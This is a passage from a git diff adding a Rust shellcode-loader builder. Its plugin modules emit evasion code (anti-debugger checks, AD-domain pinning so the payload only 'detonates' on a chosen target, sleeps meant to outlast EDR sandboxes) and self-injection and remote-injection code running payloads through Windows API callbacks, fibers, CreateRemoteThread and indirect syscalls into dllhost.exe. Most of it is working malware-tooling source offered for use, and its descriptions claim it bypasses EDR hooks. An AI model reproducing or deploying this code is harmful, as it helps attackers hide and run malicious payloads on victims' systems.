BuildContext) -> anyhow::Result<()> { + let snippet = r#"fn evasion_anti_debug_debug_port() { + unsafe { + type NtQueryInfoProc = unsafe extern "system" fn( + winapi::shared::ntdef::HANDLE, + u32, + *mut isize, + u32, + *mut u32, + ) -> i32; + let h = winapi::um::libloaderapi::GetModuleHandleA(b"ntdll.dll\0".as_ptr() as *const i8); + if h.is_null() { return; } + let name = b"NtQueryInformationProcess\0"; + let p = winapi::um::libloaderapi::GetProcAddress(h, name.as_ptr() as *const i8); + if p.is_null() { return; } + let f: NtQueryInfoProc = std::mem::transmute(p); + let mut debug_port: isize = 0; + let mut ret_len: u32 = 0; + let status = f( + winapi::um::processthreadsapi::GetCurrentProcess(), + 7, // ProcessDebugPort + &mut debug_port, + core::mem::size_of::() as u32, + &mut ret_len, + ); + if status >= 0 && debug_port == -1 { + winapi::um::processthreadsapi::ExitProcess(0); + } + } +} +evasion_anti_debug_debug_port();"#; + ctx.append_replacement("{{SANDBOX}}", snippet.to_string()); + Ok(()) + } +} + +pub use super::super::ANTI_DEBUG_PROCESS_DEBUG_PORT_META; diff --git a/src/techniques/evasion/anti_debug_process_debug_port/technique.toml b/src/techniques/evasion/anti_debug_process_debug_port/technique.toml new file mode 100644 index 0000000..353df76 --- /dev/null +++ b/src/techniques/evasion/anti_debug_process_debug_port/technique.toml @@ -0,0 +1,7 @@ +id = "anti_debug_process_debug_port" +display_name = "NtQueryInformationProcess · ProcessDebugPort" +description = "Query the kernel debug port (class 7). A value of -1 means a debugger is attached." +category = "evasion" +tags = ["anti_debug"] +requires = [] +incompatible_with = [] diff --git a/src/techniques/evasion/anti_debug_teb/mod.rs b/src/techniques/evasion/anti_debug_teb/mod.rs new file mode 100644 index 0000000..124c55b --- /dev/null +++ b/src/techniques/evasion/anti_debug_teb/mod.rs @@ -0,0 +1,30 @@ +use crate::techniques::{BuildContext, Technique, TechniqueMeta}; + +pub struct AntiDebugTeb; + +impl Technique for AntiDebugTeb { + fn meta(&self) -> &'static TechniqueMeta { &ANTI_DEBUG_TEB_META } + + fn apply(&self, ctx: &mut BuildContext) -> anyhow::Result<()> { + let snippet = r#"fn evasion_anti_debug_teb() { + let being_debugged: u32; + unsafe { + std::arch::asm!( + "mov {peb}, gs:[0x60]", + "movzx {bd:e}, byte ptr [{peb} + 0x02]", + peb = out(reg) _, + bd = out(reg) being_debugged, + options(nostack, preserves_flags), + ); + } + if being_debugged != 0 { + unsafe { winapi::um::processthreadsapi::ExitProcess(0) }; + } +} +evasion_anti_debug_teb();"#; + ctx.append_replacement("{{SANDBOX}}", snippet.to_string()); + Ok(()) + } +} + +pub use super::super::ANTI_DEBUG_TEB_META; diff --git a/src/techniques/evasion/anti_debug_teb/technique.toml b/src/techniques/evasion/anti_debug_teb/technique.toml new file mode 100644 index 0000000..b7f26c5 --- /dev/null +++ b/src/techniques/evasion/anti_debug_teb/technique.toml @@ -0,0 +1,7 @@ +id = "anti_debug_teb" +display_name = "TEB BeingDebugged byte" +description = "Read gs:[0x60] → PEB.BeingDebugged. Cheapest debugger check, no API calls." +category = "evasion" +tags = ["anti_debug"] +requires = [] +incompatible_with = [] diff --git a/src/techniques/evasion/anti_debug_unhandled_filter/mod.rs b/src/techniques/evasion/anti_debug_unhandled_filter/mod.rs new file mode 100644 index 0000000..c3f95cf --- /dev/null +++ b/src/techniques/evasion/anti_debug_unhandled_filter/mod.rs @@ -0,0 +1,39 @@ +use crate::techniques::{BuildContext, Technique, TechniqueMeta}; + +pub struct AntiDebugUnhandledFilter; + +impl Technique for AntiDebugUnhandledFilter { + fn meta(&self) -> &'static TechniqueMeta { &ANTI_DEBUG_UNHANDLED_FILTER_META } + + fn apply(&self, ctx: &mut BuildContext) -> anyhow::Result<()> { + let snippet = r#"fn evasion_anti_debug_unhandled_filter() { + extern "system" fn flt(info: *const winapi::um::winnt::EXCEPTION_POINTERS) -> i32 { + unsafe { + let ctx = &mut *(*info).ContextRecord; + ctx.Rip += 3; + } + -1 + } + unsafe { + let prev = winapi::um::errhandlingapi::SetUnhandledExceptionFilter(Some(flt)); + let mut is_debugged: u8 = 1; + std::arch::asm!( + "int 3", + "jmp 2f", + "mov {0}, 0", + "2:", + inout(reg_byte) is_debugged, + ); + winapi::um::errhandlingapi::SetUnhandledExceptionFilter(prev); + if is_debugged == 1 { + winapi::um::processthreadsapi::ExitProcess(0); + } + } +} +evasion_anti_debug_unhandled_filter();"#; + ctx.append_replacement("{{SANDBOX}}", snippet.to_string()); + Ok(()) + } +} + +pub use super::super::ANTI_DEBUG_UNHANDLED_FILTER_META; diff --git a/src/techniques/evasion/anti_debug_unhandled_filter/technique.toml b/src/techniques/evasion/anti_debug_unhandled_filter/technique.toml new file mode 100644 index 0000000..746d3f3 --- /dev/null +++ b/src/techniques/evasion/anti_debug_unhandled_filter/technique.toml @@ -0,0 +1,7 @@ +id = "anti_debug_unhandled_filter" +display_name = "SetUnhandledExceptionFilter · int3 trick" +description = "Raise INT3. If our unhandled filter runs no debugger is present; if the breakpoint is swallowed silently, exit." +category = "evasion" +tags = ["anti_debug"] +requires = [] +incompatible_with = [] diff --git a/src/techniques/evasion/domain_pin/mod.rs b/src/techniques/evasion/domain_pin/mod.rs new file mode 100644 index 0000000..f92f8c0 --- /dev/null +++ b/src/techniques/evasion/domain_pin/mod.rs @@ -0,0 +1,38 @@ +use crate::techniques::{BuildContext, Technique, TechniqueMeta}; + +pub struct DomainPin; + +impl Technique for DomainPin { + fn meta(&self) -> &'static TechniqueMeta { &DOMAIN_PIN_META } + + fn apply(&self, ctx: &mut BuildContext) -> anyhow::Result<()> { + let expected = ctx.param("domain_pin", "domain").unwrap_or(""); + if expected.is_empty() { + // user enabled the check but didn't fill in a domain + return Ok(()); + } + + let sandbox_function = format!( +"fn evasion_domain_pin_get_name() -> Option {{ + let mut size: u32 = 256; + let mut buffer: Vec = vec![0; size as usize]; + let success = unsafe {{ winapi::um::sysinfoapi::GetComputerNameExW(winapi::um::sysinfoapi::ComputerNameDnsDomain, buffer.as_mut_ptr(), &mut size) }}; + if success == 0 || size == 0 {{ return None; }} + let domain_name = String::from_utf16(&buffer[..size as usize]).map(|s| s.trim_end_matches('\\0').to_string()).ok()?; + if domain_name.is_empty() {{ return None; }} + Some(domain_name) +}} +fn evasion_domain_pin() {{ + match evasion_domain_pin_get_name() {{ + Some(domain) => {{ if !domain.as_str().eq_ignore_ascii_case(\"{0}\") {{ std::process::exit(0); }} }} + None => {{ std::process::exit(0); }} + }} +}} +evasion_domain_pin();", expected); + + ctx.append_replacement("{{SANDBOX}}", sandbox_function); + Ok(()) + } +} + +pub use super::super::DOMAIN_PIN_META; diff --git a/src/techniques/evasion/domain_pin/technique.toml b/src/techniques/evasion/domain_pin/technique.toml new file mode 100644 index 0000000..2f5c1e1 --- /dev/null +++ b/src/techniques/evasion/domain_pin/technique.toml @@ -0,0 +1,13 @@ +id = "domain_pin" +display_name = "Domain pinning — only detonate on the named AD domain" +description = "On startup, query the machine's DNS domain (GetComputerNameExW). Panic-exit if it does not match the expected value." +category = "evasion" +tags = [] +requires = [] +incompatible_with = [] + +[[params]] +name = "domain" +kind = "text" +label = "Expected domain" +default = "" diff --git a/src/techniques/evasion/nt_delay/mod.rs b/src/techniques/evasion/nt_delay/mod.rs new file mode 100644 index 0000000..9b9395c --- /dev/null +++ b/src/techniques/evasion/nt_delay/mod.rs @@ -0,0 +1,44 @@ +//! NtDelayExecution-based sleep evasion. +//! +//! Emits a single `pause(N);` call into ONE of three template placeholders +//! based on the user's `placement` choice. The `pause` function already +//! exists in every injection template (each one wraps either NtDelayExecution +//! via dynamic resolution / indirect syscall, or std::thread::sleep). + +use crate::techniques::{BuildContext, Technique, TechniqueMeta}; + +pub struct NtDelay; + +impl Technique for NtDelay { + fn meta(&self) -> &'static TechniqueMeta { &NT_DELAY_META } + + fn apply(&self, ctx: &mut BuildContext) -> anyhow::Result<()> { + let raw_ms = ctx.param("nt_delay", "delay_ms").unwrap_or("3000"); + let ms: u64 = raw_ms.trim().parse().unwrap_or(3000); + if ms == 0 { + return Ok(()); // no-op when user clears the field + } + + let placement = ctx + .param("nt_delay", "placement") + .unwrap_or("Between every step"); + + let call = format!("pause({});", ms); + + match placement { + "At start" => { + ctx.set_replacement("{{NT_DELAY_AT_START}}", call); + } + "Before execution only" => { + ctx.set_replacement("{{NT_DELAY_FINAL}}", call); + } + _ => { + // Default: between every step. + ctx.set_replacement("{{NT_DELAY_STEP}}", call); + } + } + Ok(()) + } +} + +pub use super::super::NT_DELAY_META; diff --git a/src/techniques/evasion/nt_delay/technique.toml b/src/techniques/evasion/nt_delay/technique.toml new file mode 100644 index 0000000..bc309aa --- /dev/null +++ b/src/techniques/evasion/nt_delay/technique.toml @@ -0,0 +1,19 @@ +id = "nt_delay" +display_name = "NtDelayExecution — sleep around shellcode operations" +description = "Insert a configurable Sleep() call. Use a long delay to outlast EDR sandbox emulators that bail after a few seconds, or stagger each step so behavioral analysis sees a slow-moving target." +category = "evasion" +tags = [] +requires = [] +incompatible_with = [] + +[[params]] +name = "delay_ms" +kind = "text" +label = "Delay (ms)" +default = "3000" + +[[params]] +name = "placement" +kind = "choice" +label = "Placement" +options = ["Between every step", "Before execution only", "At start"] diff --git a/src/techniques/injection/cdef_folder_menu/mod.rs b/src/techniques/injection/cdef_folder_menu/mod.rs new file mode 100644 index 0000000..afe86a8 --- /dev/null +++ b/src/techniques/injection/cdef_folder_menu/mod.rs @@ -0,0 +1,58 @@ +use crate::techniques::{BuildContext, Technique, TechniqueMeta}; + +pub struct CdefFolderMenu; + +impl Technique for CdefFolderMenu { + fn meta(&self) -> &'static TechniqueMeta { &CDEF_FOLDER_MENU_META } + + fn apply(&self, ctx: &mut BuildContext) -> anyhow::Result<()> { + ctx.set_template("callbackExec"); + + let helpers = r#" +unsafe extern "system" fn cdef_invoke(param: *mut winapi::ctypes::c_void) -> u32 { + unsafe { + windows_sys::Win32::System::Com::CoInitializeEx( + std::ptr::null(), + windows_sys::Win32::System::Com::COINIT_APARTMENTTHREADED as u32, + ); + let callback: windows_sys::Win32::UI::Shell::LPFNDFMCALLBACK = + Some(std::mem::transmute(param)); + let mut ppcm: *mut std::ffi::c_void = std::ptr::null_mut(); + windows_sys::Win32::UI::Shell::CDefFolderMenu_Create2( + std::ptr::null(), + std::ptr::null_mut(), + 0, + std::ptr::null(), + std::ptr::null_mut(), + callback, + 0, + std::ptr::null(), + &mut ppcm, + ); + } + 0 +} +"#; + ctx.set_replacement("{{INJECTION_HELPERS}}", helpers.to_string()); + + let body = r#" + let addr = syscall_alloc_exec(&vec); + if addr.is_null() { return; } + let thread = winapi::um::processthreadsapi::CreateThread( + null_mut(), + 0, + Some(cdef_invoke), + addr, + 0, + null_mut(), + ); + if !thread.is_null() { + winapi::um::synchapi::WaitForSingleObject(thread, 0xFFFFFFFF); + } +"#; + ctx.set_replacement("{{CALLBACK_INVOKE}}", body.to_string()); + Ok(()) + } +} + +pub use super::super::CDEF_FOLDER_MENU_META; diff --git a/src/techniques/injection/cdef_folder_menu/technique.toml b/src/techniques/injection/cdef_folder_menu/technique.toml new file mode 100644 index 0000000..7e54c7b --- /dev/null +++ b/src/techniques/injection/cdef_folder_menu/technique.toml @@ -0,0 +1,8 @@ +id = "cdef_folder_menu" +display_name = "CDefFolderMenu_Create2" +description = "Execute via Shell32 CDefFolderMenu_Create2 callback, dispatched from a worker thread." +category = "injection" +tags = ["self_injection"] +requires = ["self_injection"] +incompatible_with = [] +template_dir = "callbackExec" diff --git a/src/techniques/injection/earlycascade/mod.rs b/src/techniques/injection/earlycascade/mod.rs new file mode 100644 index 0000000..402f681 --- /dev/null +++ b/src/techniques/injection/earlycascade/mod.rs @@ -0,0 +1,12 @@ +use crate::techniques::{BuildContext, Technique, TechniqueMeta}; +pub struct Earlycascade; +impl Technique for Earlycascade { + fn meta(&self) -> &'static TechniqueMeta { &EARLYCASCADE_META } + fn apply(&self, ctx: &mut BuildContext) -> anyhow::Result<()> { + ctx.set_template("ntEarlyCascade"); + let tgt = ctx.param("earlycascade", "target_process").unwrap_or("dllhost.exe"); + ctx.set_replacement("{{TARGET_PROCESS}}", tgt.to_string()); + Ok(()) + } +} +pub use super::super::EARLYCASCADE_META; diff --git a/src/techniques/injection/earlycascade/technique.toml b/src/techniques/injection/earlycascade/technique.toml new file mode 100644 index 0000000..3deba2e --- /dev/null +++ b/src/techniques/injection/earlycascade/technique.toml @@ -0,0 +1,14 @@ +id = "earlycascade" +display_name = "EarlyCascade" +description = "EarlyCascade injection via shim engine callbacks." +category = "injection" +tags = ["remote_injection"] +requires = ["target_process"] +incompatible_with = [] +template_dir = "ntEarlyCascade" + +[[params]] +name = "target_process" +kind = "text" +label = "Target process" +default = "dllhost.exe" diff --git a/src/techniques/injection/enum_calendar_info/mod.rs b/src/techniques/injection/enum_calendar_info/mod.rs new file mode 100644 index 0000000..c0286fe --- /dev/null +++ b/src/techniques/injection/enum_calendar_info/mod.rs @@ -0,0 +1,25 @@ +use crate::techniques::{BuildContext, Technique, TechniqueMeta}; + +pub struct EnumCalendarInfo; + +impl Technique for EnumCalendarInfo { + fn meta(&self) -> &'static TechniqueMeta { &ENUM_CALENDAR_INFO_META } + + fn apply(&self, ctx: &mut BuildContext) -> anyhow::Result<()> { + ctx.set_template("callbackExec"); + let body = r#" + let addr = syscall_alloc_exec(&vec); + if addr.is_null() { return; } + winapi::um::winnls::EnumCalendarInfoA( + Some(std::mem::transmute(addr)), + 0x0400, + u32::MAX, + 21, + ); +"#; + ctx.set_replacement("{{CALLBACK_INVOKE}}", body.to_string()); + Ok(()) + } +} + +pub use super::super::ENUM_CALENDAR_INFO_META; diff --git a/src/techniques/injection/enum_calendar_info/technique.toml b/src/techniques/injection/enum_calendar_info/technique.toml new file mode 100644 index 0000000..7808f34 --- /dev/null +++ b/src/techniques/injection/enum_calendar_info/technique.toml @@ -0,0 +1,8 @@ +id = "enum_calendar_info" +display_name = "EnumCalendarInfoA" +description = "Execute via EnumCalendarInfoA callback. CalType 21 with LOCALE_USER_DEFAULT." +category = "injection" +tags = ["self_injection"] +requires = ["self_injection"] +incompatible_with = [] +template_dir = "callbackExec" diff --git a/src/techniques/injection/enum_desktops/mod.rs b/src/techniques/injection/enum_desktops/mod.rs new file mode 100644 index 0000000..74f2107 --- /dev/null +++ b/src/techniques/injection/enum_desktops/mod.rs @@ -0,0 +1,24 @@ +use crate::techniques::{BuildContext, Technique, TechniqueMeta}; + +pub struct EnumDesktops; + +impl Technique for EnumDesktops { + fn meta(&self) -> &'static TechniqueMeta { &ENUM_DESKTOPS_META } + + fn apply(&self, ctx: &mut BuildContext) -> anyhow::Result<()> { + ctx.set_template("callbackExec"); + let body = r#" + let addr = syscall_alloc_exec(&vec); + if addr.is_null() { return; } + winapi::um::winuser::EnumDesktopsW( + winapi::um::winuser::GetProcessWindowStation(), + Some(std::mem::transmute(addr)), + 0, + ); +"#; + ctx.set_replacement("{{CALLBACK_INVOKE}}", body.to_string()); + Ok(()) + } +} + +pub use super::super::ENUM_DESKTOPS_META; diff --git a/src/techniques/injection/enum_desktops/technique.toml b/src/techniques/injection/enum_desktops/technique.toml new file mode 100644 index 0000000..90d329e --- /dev/null +++ b/src/techniques/injection/enum_desktops/technique.toml @@ -0,0 +1,8 @@ +id = "enum_desktops" +display_name = "EnumDesktopsW" +description = "Execute via EnumDesktopsW callback on the current window station." +category = "injection" +tags = ["self_injection"] +requires = ["self_injection"] +incompatible_with = [] +template_dir = "callbackExec" diff --git a/src/techniques/injection/enum_system_geo_id/mod.rs b/src/techniques/injection/enum_system_geo_id/mod.rs new file mode 100644 index 0000000..4589da4 --- /dev/null +++ b/src/techniques/injection/enum_system_geo_id/mod.rs @@ -0,0 +1,24 @@ +use crate::techniques::{BuildContext, Technique, TechniqueMeta}; + +pub struct EnumSystemGeoId; + +impl Technique for EnumSystemGeoId { + fn meta(&self) -> &'static TechniqueMeta { &ENUM_SYSTEM_GEO_ID_META } + + fn apply(&self, ctx: &mut BuildContext) -> anyhow::Result<()> { + ctx.set_template("callbackExec"); + let body = r#" + let addr = syscall_alloc_exec(&vec); + if addr.is_null() { return; } + winapi::um::winnls::EnumSystemGeoID( + 16, + 0, + Some(std::mem::transmute(addr)), + ); +"#; + ctx.set_replacement("{{CALLBACK_INVOKE}}", body.to_string()); + Ok(()) + } +} + +pub use super::super::ENUM_SYSTEM_GEO_ID_META; diff --git a/src/techniques/injection/enum_system_geo_id/technique.toml b/src/techniques/injection/enum_system_geo_id/technique.toml new file mode 100644 index 0000000..ceda273 --- /dev/null +++ b/src/techniques/injection/enum_system_geo_id/technique.toml @@ -0,0 +1,8 @@ +id = "enum_system_geo_id" +display_name = "EnumSystemGeoID" +description = "Execute via EnumSystemGeoID callback (geo class GEOCLASS_NATION = 16)." +category = "injection" +tags = ["self_injection"] +requires = ["self_injection"] +incompatible_with = [] +template_dir = "callbackExec" diff --git a/src/techniques/injection/enum_window_stations/mod.rs b/src/techniques/injection/enum_window_stations/mod.rs new file mode 100644 index 0000000..fd43f13 --- /dev/null +++ b/src/techniques/injection/enum_window_stations/mod.rs @@ -0,0 +1,23 @@ +use crate::techniques::{BuildContext, Technique, TechniqueMeta}; + +pub struct EnumWindowStations; + +impl Technique for EnumWindowStations { + fn meta(&self) -> &'static TechniqueMeta { &ENUM_WINDOW_STATIONS_META } + + fn apply(&self, ctx: &mut BuildContext) -> anyhow::Result<()> { + ctx.set_template("callbackExec"); + let body = r#" + let addr = syscall_alloc_exec(&vec); + if addr.is_null() { return; } + winapi::um::winuser::EnumWindowStationsW( + Some(std::mem::transmute(addr)), + 0, + ); +"#; + ctx.set_replacement("{{CALLBACK_INVOKE}}", body.to_string()); + Ok(()) + } +} + +pub use super::super::ENUM_WINDOW_STATIONS_META; diff --git a/src/techniques/injection/enum_window_stations/technique.toml b/src/techniques/injection/enum_window_stations/technique.toml new file mode 100644 index 0000000..606d209 --- /dev/null +++ b/src/techniques/injection/enum_window_stations/technique.toml @@ -0,0 +1,8 @@ +id = "enum_window_stations" +display_name = "EnumWindowStationsW" +description = "Execute via EnumWindowStationsW callback. Lower API surface than EnumDesktopsW." +category = "injection" +tags = ["self_injection"] +requires = ["self_injection"] +incompatible_with = [] +template_dir = "callbackExec" diff --git a/src/techniques/injection/rtl_user_fiber_start/mod.rs b/src/techniques/injection/rtl_user_fiber_start/mod.rs new file mode 100644 index 0000000..a48b3f7 --- /dev/null +++ b/src/techniques/injection/rtl_user_fiber_start/mod.rs @@ -0,0 +1,58 @@ +use crate::techniques::{BuildContext, Technique, TechniqueMeta}; + +pub struct RtlUserFiberStart; + +impl Technique for RtlUserFiberStart { + fn meta(&self) -> &'static TechniqueMeta { &RTL_USER_FIBER_START_META } + + fn apply(&self, ctx: &mut BuildContext) -> anyhow::Result<()> { + ctx.set_template("callbackExec"); + + let helpers = r#" +type RtlUserFiberStartFn = unsafe extern "system" fn() -> i32; + +#[inline] +unsafe fn rtl_get_teb() -> *mut u8 { + let teb: *mut u8; + std::arch::asm!("mov {}, gs:[0x30]", out(reg) teb, options(nostack, preserves_flags)); + teb +} +"#; + ctx.set_replacement("{{INJECTION_HELPERS}}", helpers.to_string()); + + let body = r#" + const TEB_FLAGS_OFFSET: usize = 0x20; + const FIBER_CONTEXT_RIP_OFFSET: usize = 0x0A8; + const HAS_FIBER_DATA_BIT: u8 = 0b100; + + let ntdll = GetModuleHandleA(b"ntdll\0".as_ptr() as *const i8); + if ntdll.is_null() { return; } + let rtl_ptr = GetProcAddress(ntdll, b"RtlUserFiberStart\0".as_ptr() as *const i8); + if rtl_ptr.is_null() { return; } + + let teb = rtl_get_teb(); + *teb.add(TEB_FLAGS_OFFSET) |= HAS_FIBER_DATA_BIT; + + let addr = syscall_alloc_exec(&vec); + if addr.is_null() { return; } + + let heap = windows_sys::Win32::System::Memory::GetProcessHeap(); + if heap.is_null() { return; } + let fiber_data = windows_sys::Win32::System::Memory::HeapAlloc(heap, 0, 0x100); + if fiber_data.is_null() { return; } + + *(fiber_data as *mut *mut std::ffi::c_void).add(FIBER_CONTEXT_RIP_OFFSET / 8) = addr as *mut std::ffi::c_void; + + std::arch::asm!("mov gs:[0x20], {}", in(reg) fiber_data, options(nostack)); + + let rtl_fn: RtlUserFiberStartFn = std::mem::transmute(rtl_ptr); + let _ = rtl_fn(); + + windows_sys::Win32::System::Memory::HeapFree(heap, 0, fiber_data); +"#; + ctx.set_replacement("{{CALLBACK_INVOKE}}", body.to_string()); + Ok(()) + } +} + +pub use super::super::RTL_USER_FIBER_START_META; diff --git a/src/techniques/injection/rtl_user_fiber_start/technique.toml b/src/techniques/injection/rtl_user_fiber_start/technique.toml new file mode 100644 index 0000000..6cf8cd5 --- /dev/null +++ b/src/techniques/injection/rtl_user_fiber_start/technique.toml @@ -0,0 +1,8 @@ +id = "rtl_user_fiber_start" +display_name = "RtlUserFiberStart" +description = "Pivot into a fiber via undocumented ntdll!RtlUserFiberStart and a hand-rolled TEB fiber-data block." +category = "injection" +tags = ["self_injection"] +requires = ["self_injection"] +incompatible_with = [] +template_dir = "callbackExec" diff --git a/src/techniques/injection/syscrt/mod.rs b/src/techniques/injection/syscrt/mod.rs new file mode 100644 index 0000000..80a2fcb --- /dev/null +++ b/src/techniques/injection/syscrt/mod.rs @@ -0,0 +1,12 @@ +use crate::techniques::{BuildContext, Technique, TechniqueMeta}; +pub struct Syscrt; +impl Technique for Syscrt { + fn meta(&self) -> &'static TechniqueMeta { &SYSCRT_META } + fn apply(&self, ctx: &mut BuildContext) -> anyhow::Result<()> { + ctx.set_template("sysCRT"); + let tgt = ctx.param("syscrt", "target_process").unwrap_or("dllhost.exe"); + ctx.set_replacement("{{TARGET_PROCESS}}", tgt.to_string()); + Ok(()) + } +} +pub use super::super::SYSCRT_META; diff --git a/src/techniques/injection/syscrt/technique.toml b/src/techniques/injection/syscrt/technique.toml new file mode 100644 index 0000000..0fe4cd1 --- /dev/null +++ b/src/techniques/injection/syscrt/technique.toml @@ -0,0 +1,14 @@ +id = "syscrt" +display_name = "NtCreateThreadEx via indirect syscalls" +description = "Remote NtCreateThreadEx via indirect syscalls (Dyncvoke) — bypasses user-mode EDR hooks on ntdll." +category = "injection" +tags = ["remote_injection", "syscall"] +requires = ["target_process"] +incompatible_with = [] +template_dir = "sysCRT" + +[[params]] +name = "target_process" +kind = "text" +label = "Target process" +default = "dllhost.exe" diff --git a/src/techniques/injection/sysfiber/mod.rs b/src/techniques/injection/sysfiber/mod.rs new file mode 100644 index 0000000..519804c --- /dev/null +++ b/src/techniques/injection/sysfiber/mod.rs @@ -0,0 +1,10 @@ +use crate::techniques::{BuildContext, Technique, TechniqueMeta}; +pub struct Sysfiber; +impl Technique for Sysfiber { + fn meta(&self) -> &'static TechniqueMeta { &SYSFIBER_META } + fn apply(&self, ctx: &mut BuildContext) -> anyhow::Result<()> { + ctx.set_template("sysFIBER"); + Ok(()) + } +} +pub use super::super::SYSFIBER_META; diff --git a/src/techniques/injection/sysfiber/technique.toml b/src/techniques/injection/sysfiber/technique.toml new file mode 100644 index 0000000..646cc7a --- /dev/null +++ b/src/techniques/injection/sysfiber/technique.toml @@ -0,0 +1,8 @@ +id = "sysfiber" +display_name = "Fibers via indirect syscalls" +description = "Self-execute via fibers using indirect syscalls. Maximum evasion for self-injection." +category = "injection" +tags = ["self_injection", "syscall"] +requires = ["self_injection"] +incompatible_with = [] +template_dir = "sysFIBER" diff --git a/src/techniques/injection/wincrt/mod.rs b/src/techniques/injection/wincrt/mod.rs new file mode 100644 index 0000000..7562880 --- /dev/null +++ b/src/techniques/injection/wincrt/mod.rs @@ -0,0 +1,12 @@ +use crate::techniques::{BuildContext, Technique, TechniqueMeta}; +pub struct Wincrt; +impl Technique for Wincrt { + fn meta(&self) -> &'static TechniqueMeta { &WINCRT_META } + fn apply(&self, ctx: &mut BuildContext) -> anyhow::Result<()> { + ctx.set_template("winCRT"); + let tgt = ctx.param("wincrt", "target_process").unwrap_or("dllhost.exe"); + ctx.set_replacement("{{TARGET_PROCESS}}", tgt.to_string()); + Ok(()) + } +} +pub use super::super::WINCRT_META; diff --git a/src/techniques/injection/wincrt/technique.toml b/src/techniques/injection/wincrt/technique.toml new file mode 100644 index 0000000..8b6e6ca --- /dev/null +++ b/src/techniques/injection/wincrt/technique.toml @@ -0,0 +1,14 @@ +id = "wincrt" +display_name = "CreateRemoteThread (official Windows crate)" +description = "Classic CreateRemoteThread via the official Windows crate. Easiest to spot but smallest footprint." +category = "injection" +tags = ["remote_injection"] +requires = ["target_process"] +incompatible_with = [] +template_dir = "winCRT" + +[[params]] +name = "target_process" +kind = "text" +label = "Target process" +default = "dllhost.exe" diff --git a/src/techniques/mod.rs b/src/techniques/mod.rs new file mode 100644 index 0000000..5dcd6c6 --- /dev/null +++ b/src/techniques/mod.rs @@ -0,0 +1,31 @@ +//! Technique registry — the runtime/build-time abstraction over +//! encryption / injection / evasion plugins. +//! +//! The registry itself (`TECHNIQUES`) is generated by `build.rs` from +//! `technique.toml` manifests and included below. + +pub mod build_context; +pub mod types; + +pub use build_context::BuildContext; +pub use types::*; + +pub trait Technique: Send + Sync { + fn meta(&self) -> &'static TechniqueMeta; + fn apply(&self, ctx: &mut BuildContext) -> anyhow::Result<()>; +} + +/// All techniques discovered at compile time. Populated by `build.rs`. +pub fn all() -> &'static [&'static dyn Technique] { + REGISTRY +} + +include!(concat!(env!("OUT_DIR"), "/registry.rs")); + +pub fn find(id: &str) -> Option<&'static dyn Technique> { + REGISTRY.iter().copied().find(|t| t.meta().id == id) +} + +pub fn by_category(cat: Category) -> impl Iterator { + REGISTRY.iter().copied().filter(move |t| t.meta().category == cat) +} diff --git a/src/techniques/types.rs b/src/techniques/types.rs new file mode 100644 index 0000000..0e751eb --- /dev/null +++ b/src/techniques/types.rs @@ -0,0 +1,57 @@ +//! Static metadata types for techniques. Every technique provides a +//! `&'static TechniqueMeta` describing itself to the GUI and CLI. + +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub enum Category { + Encryption, + Injection, + Evasion, +} + +impl Category { + pub fn as_str(self) -> &'static str { + match self { + Category::Encryption => "encryption", + Category::Injection => "injection", + Category::Evasion => "evasion", + } + } +} + +#[derive(Debug, Clone, Copy)] +pub enum Format { + Exe, + Dll, + DllSideload, +} + +#[derive(Debug, Clone, Copy)] +pub enum Requirement { + /// Technique needs a target process name (remote injection). + TargetProcess, + /// Technique only works with the given output format. + Format(Format), + /// Technique injects into the current process (no remote target). + SelfInjection, +} + +#[derive(Debug, Clone, Copy)] +pub enum ParamSpec { + Text { name: &'static str, label: &'static str, default: &'static str }, + Bool { name: &'static str, label: &'static str, default: bool }, + Choice { name: &'static str, label: &'static str, options: &'static [&'static str] }, +} + +#[derive(Debug)] +pub struct TechniqueMeta { + pub id: &'static str, + pub display_name: &'static str, + pub description: &'static str, + pub category: Category, + pub tags: &'static [&'static str], + pub requires: &'static [Requirement], + pub incompatible_with: &'static [&'static str], + pub params: &'static [ParamSpec], +} + +include!("types_tests.rs"); diff --git a/src/techniques/types_tests.rs b/src/techniques/types_tests.rs new file mode 100644 index 0000000..01c0c05 --- /dev/null +++ b/src/techniques/types_tests.rs @@ -0,0 +1,41 @@ +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn meta_can_be_constructed_as_static() { + const M: TechniqueMeta = TechniqueMeta { + id: "test_xor", + display_name: "Test XOR", + description: "fixture", + category: Category::Encryption, + tags: &[], + requires: &[], + incompatible_with: &[], + params: &[ParamSpec::Text { name: "key", label: "Key", default: "0x42" }], + }; + assert_eq!(M.id, "test_xor"); + assert!(matches!(M.category, Category::Encryption)); + } + + #[test] + fn requirement_self_injection_matches() { + let req = Requirement::SelfInjection; + assert!(matches!(req, Requirement::SelfInjection)); + } + + #[test] + fn registry_includes_xor() { + let xor = crate::techniques::find("xor").expect("xor technique not registered"); + assert_eq!(xor.meta().id, "xor"); + assert!(matches!(xor.meta().category, crate::techniques::Category::Encryption)); + } + + #[test] + fn all_eight_injections_register() { + let ids = ["syscrt", "wincrt", "earlycascade", "sysfiber"]; + for id in ids { + assert!(crate::techniques::find(id).is_some(), "missing injection: {id}"); + } + } +} diff --git a/src/tools.rs b/src/tools.rs new file mode 100644 index 0000000..1216c45 --- /dev/null +++ b/src/tools.rs @@ -0,0 +1,171 @@ +use crate::order::Order; +use path_clean::PathClean; +use rand::distr::Alphanumeric; +use rand::RngExt; +use std::env; +use std::fs::{self, File}; +use std::io; +use std::io::Write; +use std::path::{Path, PathBuf}; + +#[derive(Debug, Clone)] +pub struct EncryptionOutput { + pub decryption_function: String, + pub main: String, + pub dependencies: Option, + pub imports: Option, +} + +#[derive(Debug, Clone)] +pub struct SandboxOutput { + pub sandbox_function: String, + pub sandbox_import: String, +} + +pub fn absolute_path(path: impl AsRef) -> io::Result { + let path = path.as_ref(); + let absolute_path = if path.is_absolute() { + path.to_path_buf() + } else { + env::current_dir()?.join(path) + }.clean(); + Ok(absolute_path) +} + +pub fn write_to_file(content: &[u8], path: &Path) -> Result<(), Box> { + let mut file = File::create(path)?; + file.write_all(content)?; + Ok(()) +} + +pub fn random_u8() -> u8 { rand::random() } +pub fn random_aes_key() -> [u8; 32] { rand::random::<[u8; 32]>() } +pub fn random_aes_iv() -> [u8; 16] { rand::random::<[u8; 16]>() } + +pub fn get_source_binary_filename(order: &Order, output_folder: &Path) -> PathBuf { + let template_name = template_name_for_injection(&order.injection_id); + let binary_name = format!("{}.{}", template_name, order.format.extension()); + let candidates = [ + "target/x86_64-pc-windows-msvc/release", + "target/x86_64-pc-windows-gnu/release", + ]; + for dir in candidates { + let path = output_folder.join(dir).join(&binary_name); + if path.exists() { + 